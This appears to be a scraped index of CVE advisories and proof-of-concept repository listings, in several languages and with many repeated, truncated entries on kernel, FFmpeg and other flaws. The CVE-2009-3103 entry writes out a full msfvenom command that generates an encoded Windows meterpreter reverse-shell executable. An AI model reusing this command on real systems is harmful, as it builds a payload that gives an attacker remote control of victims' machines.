UBUNTU-CVE-2026-80609

In the Linux kernel, the following vulnerability has been resolved: qede: fix out-of-bounds check for cqe-lenlist Move index check before element access...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Comando singolo per creare/generare un payload per Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out...

EUVD-2026-66385

StarRocks performs no privilege check when a legacy synchronous materialized view is dropped. Every other statement type routed through AuthorizerStmtVisitor calls into Authorizer before execution, but visitDropMaterializedViewStatement returns immediately with a comment stating the check happens...

PoC_CVEs

PoC CVEs — Proof-of-Concept-Repository-Index Ein kontinuierlich aktualisierter Index von öffentlichen GitHub-Proof-of-Concept-Repositories, die CVE-IDs zugeordnet sind. Streng zu Bildungs- und defensiven Sicherheitsforschungszwecken. Live-Suchoberfläche labs.jamessawyer.co.uk/cves/ Eine...

CVE-2026-21001-WebAssembly-Linear-Memory-OOB-via-Table-Index-Confusion

CVE-2026-21001 – OOB della memoria lineare WebAssembly tramite confusione dell'indice di tabella Panoramica Un modulo WebAssembly utilizza una funzione importata senza controllo dei limiti su un indice di array. Un attaccante può fornire un indice fuori dai limiti per leggere o scrivere al di fuo...

CVE-2020-11019

CVE-2020-11019 In FreeRDP versioni minori o uguali alla 2.0.0, quando si esegue con il logger impostato su "WLOGTRACE", potrebbe verificarsi un crash dell'applicazione a causa della lettura di un indice di array non valido. I dati potrebbero essere stampati come stringa sul terminale locale. Il...

CVE-2026-75146

A flaw was found in FFmpeg. A malicious or misconfigured DASH Dynamic Adaptive Streaming over HTTP server can exploit an out-of-bounds read vulnerability in the DASH demuxer. This occurs when a live DASH manifest is refreshed with a startNumber that is lower than the previous value, causing a...

CVE-2026-80609

In the Linux kernel, the following vulnerability has been resolved: qede: fix out-of-bounds check for cqe-lenlist Move index check before element access...

CVE-2026-80670 perf tools: Use perf_env__get_cpu_topology() in machine__resolve()

In the Linux kernel, the following vulnerability has been resolved: perf tools: Use perfenvgetcputopology in machineresolve machineresolve accesses env-cpual-cpu.socketid after checking al-cpu = 0 and env-cpu != NULL, but without validating al-cpu against env-nrcpusavail. Since al-cpu comes from...

EUVD-2026-67546

In the Linux kernel, the following vulnerability has been resolved: perf tools: Use perfenvgetcputopology in machineresolve machineresolve accesses env-cpual-cpu.socketid after checking al-cpu = 0 and env-cpu != NULL, but without validating al-cpu against env-nrcpusavail. Since al-cpu comes from...

CVE-2026-80670

CVE-2026-80670 affects the Linux kernel perf tools subsystem. The function machine__resolve() accesses env->cpu[al->cpu].socket_id after validating al->cpu >= 0 and env->cpu != NULL, but fails to validate al->cpu against env->nr_cpus_avail. Because al->cpu originates from ...

CVE-2026-80609 qede: fix out-of-bounds check for cqe->len_list[]

In the Linux kernel, the following vulnerability has been resolved: qede: fix out-of-bounds check for cqe-lenlist Move index check before element access...

EUVD-2026-67485

In the Linux kernel, the following vulnerability has been resolved: qede: fix out-of-bounds check for cqe-lenlist Move index check before element access...

CVE-2026-80609

This vulnerability affects the qede (Qualcomm Ethernet) driver in the Linux kernel . The root cause is an out-of-bounds access on the cqe->len_list[] array, where the index bounds check was performed after the element was already accessed, allowing an out-of-bounds read or write. The fix moves...

CVE-2026-80609 qede: fix out-of-bounds check for cqe->len_list[]

In the Linux kernel, the following vulnerability has been resolved: qede: fix out-of-bounds check for cqe-lenlist Move index check before element access...

CVE-2026-80598

CVE-2026-80598 is an out-of-bounds read in the Linux kernel's ntfs3 filesystem, specifically in the decompress_lznt() function. The root cause is a missing array index bounds validation before accessing the decompression table; a corrupted NTFS3 image with invalid compressed data can trigger the ...

CVE-2026-80598 ntfs3: fix out-of-bounds read in decompress_lznt

In the Linux kernel, the following vulnerability has been resolved: ntfs3: fix out-of-bounds read in decompresslznt decompresslznt does not validate array index bounds before accessing the decompression table. A corrupted NTFS3 image with invalid compressed data can trigger an out-of-bounds read...

DevAudit

Nota : DevAudit utilizza il database OSS Index, che ha alcune limitazioni di frequenza. Se noti di aver raggiunto il limite, per favore apri una segnalazione. Gli utenti autenticati hanno un limite più alto, e stiamo implementando l'autenticazione in DevAudit a breve. La maggior parte degli utent...

CVE-2023-36281

CVE-2023-36281 PoC di CVE-2023-36281 Ho fatto riferimento a questo PoC. Purtroppo, non funziona perché gli indici di subprocess.Popen sono diversi in ogni ambiente Python. Tuttavia, il mio codice PoC affronta questo problema. Installazione $ pip install -r requirements.txt Esecuzione 1. Ottieni...

CVE-2021-32537

CVE-2021-32537: Zugriff außerhalb des zulässigen Bereichs in RTKVHD64 führt zu Pool-Korruption. Dies ist ein Fehler, den ich Anfang April 2021 bei Realtek gemeldet habe. Der betroffene Treiber heißt RTKVHD64.sys und scheint auf einer Reihe von Mainstream-Hardware verfügbar zu sein getestet wurden...